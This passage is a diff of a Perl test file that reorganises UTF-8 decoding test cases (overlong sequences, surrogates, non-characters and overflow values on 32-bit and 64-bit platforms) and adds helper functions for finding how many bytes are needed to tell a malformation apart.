-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x8FFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+8FFFF",
-        (isASCII) ? "\xf2\x8f\xbf\xbf" : I8_to_native("\xf8\xb1\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x8FFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+9FFFE",
-        (isASCII) ? "\xf2\x9f\xbf\xbe" : I8_to_native("\xf8\xb3\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x9FFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+9FFFF",
-        (isASCII) ? "\xf2\x9f\xbf\xbf" : I8_to_native("\xf8\xb3\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x9FFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+AFFFE",
-        (isASCII) ? "\xf2\xaf\xbf\xbe" : I8_to_native("\xf8\xb5\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xAFFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+AFFFF",
-        (isASCII) ? "\xf2\xaf\xbf\xbf" : I8_to_native("\xf8\xb5\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xAFFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+BFFFE",
-        (isASCII) ? "\xf2\xbf\xbf\xbe" : I8_to_native("\xf8\xb7\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xBFFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+BFFFF",
-        (isASCII) ? "\xf2\xbf\xbf\xbf" : I8_to_native("\xf8\xb7\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xBFFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+CFFFE",
-        (isASCII) ? "\xf3\x8f\xbf\xbe" : I8_to_native("\xf8\xb9\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xCFFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+CFFFF",
-        (isASCII) ? "\xf3\x8f\xbf\xbf" : I8_to_native("\xf8\xb9\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xCFFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+DFFFE",
-        (isASCII) ? "\xf3\x9f\xbf\xbe" : I8_to_native("\xf8\xbb\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xDFFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+DFFFF",
-        (isASCII) ? "\xf3\x9f\xbf\xbf" : I8_to_native("\xf8\xbb\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xDFFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+EFFFE",
-        (isASCII) ? "\xf3\xaf\xbf\xbe" : I8_to_native("\xf8\xbd\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xEFFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+EFFFF",
-        (isASCII) ? "\xf3\xaf\xbf\xbf" : I8_to_native("\xf8\xbd\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xEFFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+FFFFE",
-        (isASCII) ? "\xf3\xbf\xbf\xbe" : I8_to_native("\xf8\xbf\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xFFFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+FFFFF",
-        (isASCII) ? "\xf3\xbf\xbf\xbf" : I8_to_native("\xf8\xbf\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0xFFFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+10FFFE",
-        (isASCII) ? "\xf4\x8f\xbf\xbe" : I8_to_native("\xf9\xa1\xbf\xbf\xbe"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x10FFFE,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "non-character code point U+10FFFF",
-        (isASCII) ? "\xf4\x8f\xbf\xbf" : I8_to_native("\xf9\xa1\xbf\xbf\xbf"),
-        $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR,
-        'nonchar', 0x10FFFF,
-        (isASCII) ? 4 : 5,
-        (isASCII) ? 4 : 5,
-        qr/Unicode non-character.*is not recommended for open interchange/
-    ],
-    [ "requires at least 32 bits",
-        (isASCII)
-         ?  "\xfe\x82\x80\x80\x80\x80\x80"
-         : I8_to_native(
-            "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0"),
-        # This code point is chosen so that it is representable in a UV on
-        # 32-bit machines
-        $::UTF8_WARN_ABOVE_31_BIT, $::UTF8_DISALLOW_ABOVE_31_BIT,
-        $::UTF8_GOT_ABOVE_31_BIT,
-        'utf8', 0x80000000,
-        (isASCII) ? 7 : $::max_bytes,
-        (isASCII) ? 1 : 8,
-        nonportable_regex(0x80000000)
-    ],
-    [ "highest 32 bit code point",
-        (isASCII)
-         ?  "\xfe\x83\xbf\xbf\xbf\xbf\xbf"
-         : I8_to_native(
-            "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa3\xbf\xbf\xbf\xbf\xbf\xbf"),
-        $::UTF8_WARN_ABOVE_31_BIT, $::UTF8_DISALLOW_ABOVE_31_BIT,
-        $::UTF8_GOT_ABOVE_31_BIT,
-        'utf8', 0xFFFFFFFF,
-        (isASCII) ? 7 : $::max_bytes,
-        (isASCII) ? 1 : 8,
-        nonportable_regex(0xffffffff)
-    ],
-    [ "requires at least 32 bits, and use SUPER-type flags, instead of"
-    . " ABOVE_31_BIT",
-        (isASCII)
-         ? "\xfe\x82\x80\x80\x80\x80\x80"
-         : I8_to_native(
-           "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0"),
-        $::UTF8_WARN_SUPER, $::UTF8_DISALLOW_SUPER, $::UTF8_GOT_SUPER,
-        'utf8', 0x80000000,
-        (isASCII) ? 7 : $::max_bytes,
-        1,
-        nonportable_regex(0x80000000)
-    ],
-    [ "overflow with warnings/disallow for more than 31 bits",
-        # This tests the interaction of WARN_ABOVE_31_BIT/DISALLOW_ABOVE_31_BIT
-        # with overflow.  The overflow malformation is never allowed, so
-        # preventing it takes precedence if the ABOVE_31_BIT options would
-        # otherwise allow in an overflowing value.  The ASCII code points (1
-        # for 32-bits; 1 for 64) were chosen because the old overflow
-        # detection algorithm did not catch them; this means this test also
-        # checks for that fix.  The EBCDIC are arbitrary overflowing ones
-        # since we have no reports of failures with it.
-       (($::is64bit)
-        ? ((isASCII)
-           ?    "\xff\x80\x90\x90\x90\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"
-           : I8_to_native(
-                "\xff\xB0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"))
-        : ((isASCII)
-           ?    "\xfe\x86\x80\x80\x80\x80\x80"
-           : I8_to_native(
-                "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa4\xa0\xa0\xa0\xa0\xa0\xa0"))),
-        $::UTF8_WARN_ABOVE_31_BIT,
-        $::UTF8_DISALLOW_ABOVE_31_BIT,
-        $::UTF8_GOT_ABOVE_31_BIT,
-        'utf8', 0,
-        (! isASCII || $::is64bit) ? $::max_bytes : 7,
-        (isASCII || $::is64bit) ? 2 : 8,
-        qr/overflows/
-    ],
-);
+sub is_extended_utf8($) {
 
-if (! $::is64bit) {
+    # Returns a boolean as to whether or not the input UTF-8 sequence uses
+    # Perl extended UTF-8.
+
+    my $byte = substr(shift, 0, 1);
+    return ord $byte >= 0xFE if isASCII;
+    return $byte == I8_to_native("\xFF");
+}
+
+sub overflow_discern_len($) {
+
+    # Returns how many bytes are needed to tell if a non-overlong UTF-8
+    # sequence is for a code point that won't fit in the platform's word size.
+    # Only the length of the sequence representing a single code point is
+    # needed.
+
     if (isASCII) {
-        no warnings qw{portable overflow};
-        push @tests,
-            [ "Lowest 33 bit code point: overflow",
-                "\xFE\x84\x80\x80\x80\x80\x80",
-                $::UTF8_WARN_ABOVE_31_BIT, $::UTF8_DISALLOW_ABOVE_31_BIT,
-                $::UTF8_GOT_ABOVE_31_BIT,
-                'utf8', 0x100000000,
-                7, 1,
-                qr/and( is)? not portable/
-            ];
+        return ($::is64bit) ? 3 : 1;
+
+        # Below is needed for code points above IV_MAX
+        #return ($::is64bit) ? 3 : ((shift == $::max_bytes)
+        #                           ? 1
+        #                           : 2);
     }
+
+    return ($::is64bit) ? 2 : 8;
 }
-else {
-    no warnings qw{portable overflow};
+
+sub overlong_discern_len($) {
+
+    # Returns how many bytes are needed to tell if the input UTF-8 sequence
+    # for a code point is overlong
+
+    my $string = shift;
+    my $length = length $string;
+    my $byte = ord native_to_I8(substr($string, 0, 1));
+    if (isASCII) {
+        return ($byte >= 0xFE)
+                ? ((! $::is64bit)
+                    ? 1
+                    : ($byte == 0xFF) ? 7 : 2)
+                : (($length == 2) ? 1 : 2);
+        # Below is needed for code points above IV_MAX
+        #return ($length == $::max_bytes)
+        #          # This is constrained to 1 on 32-bit machines, as it
+        #          # overflows there
+        #        ? (($::is64bit) ? 7 : 1)
+        #        : (($length == 2) ? 1 : 2);
+    }
+
+    return ($length == $::max_bytes) ? 8 : (($length <= 3) ? 1 : 2);
+}
+
+my @tests;
+{
+    no warnings qw(portable overflow);
+    @tests = (
+        # $testname,
+        # $bytes,                  UTF-8 string
+        # $allowed_uv,             code point $bytes evaluates to; -1 if
+        #                          overflows
+        # $needed_to_discern_len   optional, how long an initial substring do
+        #                          we need to tell that the string must be for
+        #                          a code point in the category it falls in,
+        #                          like being a surrogate; 0 indicates we need
+        #                          the whole string.  Some categories have a
+        #                          default that is used if this is omitted.
+        [ "orphan continuation byte malformation",
+            I8_to_native("$::I8c"),
+            0xFFFD,
+            1,
+        ],
+        [ "overlong malformation, lowest 2-byte",
+            (isASCII) ? "\xc0\x80" : I8_to_native("\xc0\xa0"),
+            0,   # NUL
+        ],
+        [ "overlong malformation, highest 2-byte",
+            (isASCII) ? "\xc1\xbf" : I8_to_native("\xc4\xbf"),
+            (isASCII) ? 0x7F : 0xFF,
+        ],
+        [ "overlong malformation, lowest 3-byte",
+            (isASCII) ? "\xe0\x80\x80" : I8_to_native("\xe0\xa0\xa0"),
+            0,   # NUL
+        ],
+        [ "overlong malformation, highest 3-byte",
+            (isASCII) ? "\xe0\x9f\xbf" : I8_to_native("\xe0\xbf\xbf"),
+            (isASCII) ? 0x7FF : 0x3FF,
+        ],
+        [ "lowest surrogate",
+            (isASCII) ? "\xed\xa0\x80" : I8_to_native("\xf1\xb6\xa0\xa0"),
+            0xD800,
+        ],
+        [ "a middle surrogate",
+            (isASCII) ? "\xed\xa4\x8d" : I8_to_native("\xf1\xb6\xa8\xad"),
+            0xD90D,
+        ],
+        [ "highest surrogate",
+            (isASCII) ? "\xed\xbf\xbf" : I8_to_native("\xf1\xb7\xbf\xbf"),
+            0xDFFF,
+        ],
+        [ "first of 32 consecutive non-character code points",
+            (isASCII) ? "\xef\xb7\x90" : I8_to_native("\xf1\xbf\xae\xb0"),
+            0xFDD0,
+        ],
+        [ "a mid non-character code point of the 32 consecutive ones",
+            (isASCII) ? "\xef\xb7\xa0" : I8_to_native("\xf1\xbf\xaf\xa0"),
+            0xFDE0,
+        ],
+        [ "final of 32 consecutive non-character code points",
+            (isASCII) ? "\xef\xb7\xaf" : I8_to_native("\xf1\xbf\xaf\xaf"),
+            0xFDEF,
+        ],
+        [ "non-character code point U+FFFE",
+            (isASCII) ? "\xef\xbf\xbe" : I8_to_native("\xf1\xbf\xbf\xbe"),
+            0xFFFE,
+        ],
+        [ "non-character code point U+FFFF",
+            (isASCII) ? "\xef\xbf\xbf" : I8_to_native("\xf1\xbf\xbf\xbf"),
+            0xFFFF,
+        ],
+        [ "overlong malformation, lowest 4-byte",
+            (isASCII) ? "\xf0\x80\x80\x80" : I8_to_native("\xf0\xa0\xa0\xa0"),
+            0,   # NUL
+        ],
+        [ "overlong malformation, highest 4-byte",
+            (isASCII) ? "\xf0\x8F\xbf\xbf" : I8_to_native("\xf0\xaf\xbf\xbf"),
+            (isASCII) ? 0xFFFF : 0x3FFF,
+        ],
+        [ "non-character code point U+1FFFE",
+            (isASCII) ? "\xf0\x9f\xbf\xbe" : I8_to_native("\xf3\xbf\xbf\xbe"),
+            0x1FFFE,
+        ],
+        [ "non-character code point U+1FFFF",
+            (isASCII) ? "\xf0\x9f\xbf\xbf" : I8_to_native("\xf3\xbf\xbf\xbf"),
+            0x1FFFF,
+        ],
+        [ "non-character code point U+2FFFE",
+            (isASCII) ? "\xf0\xaf\xbf\xbe" : I8_to_native("\xf5\xbf\xbf\xbe"),
+            0x2FFFE,
+        ],
+        [ "non-character code point U+2FFFF",
+            (isASCII) ? "\xf0\xaf\xbf\xbf" : I8_to_native("\xf5\xbf\xbf\xbf"),
+            0x2FFFF,
+        ],
+        [ "non-character code point U+3FFFE",
+            (isASCII) ? "\xf0\xbf\xbf\xbe" : I8_to_native("\xf7\xbf\xbf\xbe"),
+            0x3FFFE,
+        ],
+        [ "non-character code point U+3FFFF",
+            (isASCII) ? "\xf0\xbf\xbf\xbf" : I8_to_native("\xf7\xbf\xbf\xbf"),
+            0x3FFFF,
+        ],
+        [ "non-character code point U+4FFFE",
+            (isASCII)
+            ?               "\xf1\x8f\xbf\xbe"
+            : I8_to_native("\xf8\xa9\xbf\xbf\xbe"),
+            0x4FFFE,
+        ],
+        [ "non-character code point U+4FFFF",
+            (isASCII)
+            ?               "\xf1\x8f\xbf\xbf"
+            : I8_to_native("\xf8\xa9\xbf\xbf\xbf"),
+            0x4FFFF,
+        ],
+        [ "non-character code point U+5FFFE",
+            (isASCII)
+            ?              "\xf1\x9f\xbf\xbe"
+            : I8_to_native("\xf8\xab\xbf\xbf\xbe"),
+            0x5FFFE,
+        ],
+        [ "non-character code point U+5FFFF",
+            (isASCII)
+            ?              "\xf1\x9f\xbf\xbf"
+            : I8_to_native("\xf8\xab\xbf\xbf\xbf"),
+            0x5FFFF,
+        ],
+        [ "non-character code point U+6FFFE",
+            (isASCII)
+            ?              "\xf1\xaf\xbf\xbe"
+            : I8_to_native("\xf8\xad\xbf\xbf\xbe"),
+            0x6FFFE,
+        ],
+        [ "non-character code point U+6FFFF",
+            (isASCII)
+            ?              "\xf1\xaf\xbf\xbf"
+            : I8_to_native("\xf8\xad\xbf\xbf\xbf"),
+            0x6FFFF,
+        ],
+        [ "non-character code point U+7FFFE",
+            (isASCII)
+            ?              "\xf1\xbf\xbf\xbe"
+            : I8_to_native("\xf8\xaf\xbf\xbf\xbe"),
+            0x7FFFE,
+        ],
+        [ "non-character code point U+7FFFF",
+            (isASCII)
+            ?              "\xf1\xbf\xbf\xbf"
+            : I8_to_native("\xf8\xaf\xbf\xbf\xbf"),
+            0x7FFFF,
+        ],
+        [ "non-character code point U+8FFFE",
+            (isASCII)
+            ?              "\xf2\x8f\xbf\xbe"
+            : I8_to_native("\xf8\xb1\xbf\xbf\xbe"),
+            0x8FFFE,
+        ],
+        [ "non-character code point U+8FFFF",
+            (isASCII)
+            ?              "\xf2\x8f\xbf\xbf"
+            : I8_to_native("\xf8\xb1\xbf\xbf\xbf"),
+            0x8FFFF,
+        ],
+        [ "non-character code point U+9FFFE",
+            (isASCII)
+            ?              "\xf2\x9f\xbf\xbe"
+            : I8_to_native("\xf8\xb3\xbf\xbf\xbe"),
+            0x9FFFE,
+        ],
+        [ "non-character code point U+9FFFF",
+            (isASCII)
+            ?              "\xf2\x9f\xbf\xbf"
+            : I8_to_native("\xf8\xb3\xbf\xbf\xbf"),
+            0x9FFFF,
+        ],
+        [ "non-character code point U+AFFFE",
+            (isASCII)
+            ?              "\xf2\xaf\xbf\xbe"
+            : I8_to_native("\xf8\xb5\xbf\xbf\xbe"),
+            0xAFFFE,
+        ],
+        [ "non-character code point U+AFFFF",
+            (isASCII)
+            ?              "\xf2\xaf\xbf\xbf"
+            : I8_to_native("\xf8\xb5\xbf\xbf\xbf"),
+            0xAFFFF,
+        ],
+        [ "non-character code point U+BFFFE",
+            (isASCII)
+            ?              "\xf2\xbf\xbf\xbe"
+            : I8_to_native("\xf8\xb7\xbf\xbf\xbe"),
+            0xBFFFE,
+        ],
+        [ "non-character code point U+BFFFF",
+            (isASCII)
+            ?              "\xf2\xbf\xbf\xbf"
+            : I8_to_native("\xf8\xb7\xbf\xbf\xbf"),
+            0xBFFFF,
+        ],
+        [ "non-character code point U+CFFFE",
+            (isASCII)
+            ?              "\xf3\x8f\xbf\xbe"
+            : I8_to_native("\xf8\xb9\xbf\xbf\xbe"),
+            0xCFFFE,
+        ],
+        [ "non-character code point U+CFFFF",
+            (isASCII)
+            ?              "\xf3\x8f\xbf\xbf"
+            : I8_to_native("\xf8\xb9\xbf\xbf\xbf"),
+            0xCFFFF,
+        ],
+        [ "non-character code point U+DFFFE",
+            (isASCII)
+            ?              "\xf3\x9f\xbf\xbe"
+            : I8_to_native("\xf8\xbb\xbf\xbf\xbe"),
+            0xDFFFE,
+        ],
+        [ "non-character code point U+DFFFF",
+            (isASCII)
+            ?              "\xf3\x9f\xbf\xbf"
+            : I8_to_native("\xf8\xbb\xbf\xbf\xbf"),
+            0xDFFFF,
+        ],
+        [ "non-character code point U+EFFFE",
+            (isASCII)
+            ?              "\xf3\xaf\xbf\xbe"
+            : I8_to_native("\xf8\xbd\xbf\xbf\xbe"),
+            0xEFFFE,
+        ],
+        [ "non-character code point U+EFFFF",
+            (isASCII)
+            ?              "\xf3\xaf\xbf\xbf"
+            : I8_to_native("\xf8\xbd\xbf\xbf\xbf"),
+            0xEFFFF,
+        ],
+        [ "non-character code point U+FFFFE",
+            (isASCII)
+            ?              "\xf3\xbf\xbf\xbe"
+            : I8_to_native("\xf8\xbf\xbf\xbf\xbe"),
+            0xFFFFE,
+        ],
+        [ "non-character code point U+FFFFF",
+            (isASCII)
+            ?              "\xf3\xbf\xbf\xbf"
+            : I8_to_native("\xf8\xbf\xbf\xbf\xbf"),
+            0xFFFFF,
+        ],
+        [ "non-character code point U+10FFFE",
+            (isASCII)
+            ?              "\xf4\x8f\xbf\xbe"
+            : I8_to_native("\xf9\xa1\xbf\xbf\xbe"),
+            0x10FFFE,
+        ],
+        [ "non-character code point U+10FFFF",
+            (isASCII)
+            ?              "\xf4\x8f\xbf\xbf"
+            : I8_to_native("\xf9\xa1\xbf\xbf\xbf"),
+            0x10FFFF,
+        ],
+        [ "first non_unicode",
+            (isASCII)
+            ?              "\xf4\x90\x80\x80"
+            : I8_to_native("\xf9\xa2\xa0\xa0\xa0"),
+            0x110000,
+            2,
+        ],
+        [ "non_unicode whose first byte tells that",
+            (isASCII)
+            ?              "\xf5\x80\x80\x80"
+            : I8_to_native("\xfa\xa0\xa0\xa0\xa0"),
+            (isASCII) ? 0x140000 : 0x200000,
+            1,
+        ],
+        [ "overlong malformation, lowest 5-byte",
+            (isASCII)
+            ?              "\xf8\x80\x80\x80\x80"
+            : I8_to_native("\xf8\xa0\xa0\xa0\xa0"),
+            0,   # NUL
+        ],
+        [ "overlong malformation, highest 5-byte",
+            (isASCII)
+            ?              "\xf8\x87\xbf\xbf\xbf"
+            : I8_to_native("\xf8\xa7\xbf\xbf\xbf"),
+            (isASCII) ? 0x1FFFFF : 0x3FFFF,
+        ],
+        [ "overlong malformation, lowest 6-byte",
+            (isASCII)
+            ?              "\xfc\x80\x80\x80\x80\x80"
+            : I8_to_native("\xfc\xa0\xa0\xa0\xa0\xa0"),
+            0,   # NUL
+        ],
+        [ "overlong malformation, highest 6-byte",
+            (isASCII)
+            ?              "\xfc\x83\xbf\xbf\xbf\xbf"
+            : I8_to_native("\xfc\xa3\xbf\xbf\xbf\xbf"),
+            (isASCII) ? 0x3FFFFFF : 0x3FFFFF,
+        ],
+        [ "overlong malformation, lowest 7-byte",
+            (isASCII)
+            ?              "\xfe\x80\x80\x80\x80\x80\x80"
+            : I8_to_native("\xfe\xa0\xa0\xa0\xa0\xa0\xa0"),
+            0,   # NUL
+        ],
+        [ "overlong malformation, highest 7-byte",
+            (isASCII)
+            ?              "\xfe\x81\xbf\xbf\xbf\xbf\xbf"
+            : I8_to_native("\xfe\xa1\xbf\xbf\xbf\xbf\xbf"),
+            (isASCII) ? 0x7FFFFFFF : 0x3FFFFFF,
+        ],
+        [ "highest 31 bit code point",
+            (isASCII)
+            ?  "\xfd\xbf\xbf\xbf\xbf\xbf"
+            : I8_to_native(
+               "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa1\xbf\xbf\xbf\xbf\xbf\xbf"),
+            0x7FFFFFFF,
+            1,
+        ],
+        [ "lowest 32 bit code point",
+            (isASCII)
+            ?  "\xfe\x82\x80\x80\x80\x80\x80"
+            : I8_to_native(
+                "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0"),
+            ($::is64bit) ? 0x80000000 : -1,   # Overflows on 32-bit systems
+            1,
+        ],
+        # Used when UV_MAX is allowed as a code point
+        #[ "highest 32 bit code point",
+        #    (isASCII)
+        #    ?  "\xfe\x83\xbf\xbf\xbf\xbf\xbf"
+        #    : I8_to_native(
+        #       "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa3\xbf\xbf\xbf\xbf\xbf\xbf"),
+        #    0xFFFFFFFF,
+        #],
+        #[ "Lowest 33 bit code point",
+        #    (isASCII)
+        #    ?  "\xfe\x84\x80\x80\x80\x80\x80"
+        #    : I8_to_native(
+        #        "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa4\xa0\xa0\xa0\xa0\xa0\xa0"),
+        #    ($::is64bit) ? 0x100000000 : 0x0,   # Overflows on 32-bit systems
+        #],
+    );
+
+    if (! $::is64bit) {
+        if (isASCII) {
+            push @tests,
+                [ "overlong malformation, but naively looks like overflow",
+                    "\xff\x80\x80\x80\x80\x80\x80\x81\xbf\xbf\xbf\xbf\xbf",
+                    0x7FFFFFFF,
+                ],
+                # Used when above IV_MAX are allowed.
+                #[ "overlong malformation, but naively looks like overflow",
+                #    "\xff\x80\x80\x80\x80\x80\x80\x83\xbf\xbf\xbf\xbf\xbf",
+                #    0xFFFFFFFF,
+                #],
+                [ "overflow that old algorithm failed to detect",
+                    "\xfe\x86\x80\x80\x80\x80\x80",
+                    -1,
+                ];
+        }
+    }
+
     push @tests,
-        [ "More than 32 bits",
+        [ "overlong malformation, lowest max-byte",
             (isASCII)
-            ?       "\xff\x80\x80\x80\x80\x80\x81\x80\x80\x80\x80\x80\x80"
-            : I8_to_native(
-                    "\xff\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
-            $::UTF8_WARN_ABOVE_31_BIT, $::UTF8_DISALLOW_ABOVE_31_BIT,
-            $::UTF8_GOT_ABOVE_31_BIT,
-            'utf8', 0x1000000000,
-            $::max_bytes, (isASCII) ? 1 : 7,
-            qr/and( is)? not portable/
+             ?      "\xff\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80"
+             : I8_to_native(
+                    "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+            0,   # NUL
+        ],
+        [ "overlong malformation, highest max-byte",
+            (isASCII)    # 2**36-1 on ASCII; 2**30-1 on EBCDIC
+             ?      "\xff\x80\x80\x80\x80\x80\x80\xbf\xbf\xbf\xbf\xbf\xbf"
+             : I8_to_native(
+                    "\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xbf\xbf\xbf\xbf\xbf\xbf"),
+            (isASCII) ? (($::is64bit) ? 0xFFFFFFFFF : -1) : 0x3FFFFFFF,
         ];
-    if (! isASCII) {
-        push @tests,   # These could falsely show wrongly in a naive
-                       # implementation
-            [ "requires at least 32 bits",
-                I8_to_native(
+
+    if (isASCII) {
+        push @tests,
+            [ "Lowest code point requiring 13 bytes to represent", # 2**36
+                "\xff\x80\x80\x80\x80\x80\x81\x80\x80\x80\x80\x80\x80",
+                ($::is64bit) ? 0x1000000000 : -1,    # overflows on 32bit
+            ],
+    };
+
+    if ($::is64bit) {
+        push @tests,
+            [ "highest 63 bit code point",
+              (isASCII)
+              ? "\xff\x80\x87\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"
+              : I8_to_native(
+                "\xff\xa7\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"),
+              0x7FFFFFFFFFFFFFFF,
+              (isASCII) ? 1 : 2,
+            ],
+            [ "first 64 bit code point",
+              (isASCII)
+              ? "\xff\x80\x88\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80"
+              : I8_to_native(
+                "\xff\xa8\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+              -1,
+            ];
+            # Used when UV_MAX is allowed as a code point
+            #[ "highest 64 bit code point",
+            #  (isASCII)
+            #  ? "\xff\x80\x8f\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"
+            #  : I8_to_native(
+            #    "\xff\xaf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"),
+            #  0xFFFFFFFFFFFFFFFF,
+            #  (isASCII) ? 1 : 2,
+            #],
+            #[ "first 65 bit code point",
+            #  (isASCII)
+            #  ? "\xff\x80\x9f\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80"
+            #  : I8_to_native(
+            #    "\xff\xb0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
+            #  0,
+            #];
+        if (isASCII) {
+            push @tests,
+                [ "overflow that old algorithm failed to detect",
+                    "\xff\x80\x90\x90\x90\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf",
+                    -1,
+                ];
+        }
+        else {
+            push @tests,    # These could falsely show wrongly in a naive
+                            # implementation
+                [ "requires at least 32 bits",
+                    I8_to_native(
                     "\xff\xa0\xa0\xa0\xa0\xa0\xa1\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),
